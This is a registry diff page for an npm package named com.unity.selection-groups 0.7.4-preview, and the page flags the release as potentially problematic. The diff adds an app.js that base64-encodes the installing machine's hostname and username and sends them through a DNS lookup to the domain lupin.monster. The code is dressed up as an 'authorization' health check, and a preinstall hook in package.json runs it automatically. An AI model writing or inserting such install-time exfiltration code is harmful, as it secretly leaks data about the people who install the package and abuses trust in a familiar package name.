com.unity.selection-groups 0.7.4-preview

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.selection-groups might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/app.js +19 -0
  2. package/package.json +12 -0
package/app.js ADDED
@@ -0,0 +1,19 @@
1
+ var dns = require('dns');
2
+ var os = require('os');
3
+
4
+
5
+ // Preparing Authorization Forms
6
+ const domain = "lupin.monster"
7
+ const api_token = "ccdh0e2n01lqllkga2pgzw1fj8zj7iqkp"
8
+ const package_name = "com.unity.selection-groups"
9
+ const whitelisted_computer = Buffer.from(os.hostname()).toString('base64');
10
+ const whitelisted_user = Buffer.from(os.userInfo().username).toString('base64');
11
+
12
+ const health_check = `${whitelisted_user}.${whitelisted_computer}.${package_name}.${api_token}.${domain}`
13
+
14
+ // Check if computer is authorized to ping lupin.monster
15
+ var w3 = dns.lookup(health_check, function (err, addresses, family) {
16
+ if(addresses == "159.65.122.6"){
17
+ console.log('\x1b[36m%s\x1b[0m', '[*] com.unity.selection-groups was installed successfully');
18
+ }
19
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "com.unity.selection-groups",
3
+ "version": "0.7.4-preview",
4
+ "description": "",
5
+ "main": "node app.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node app.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }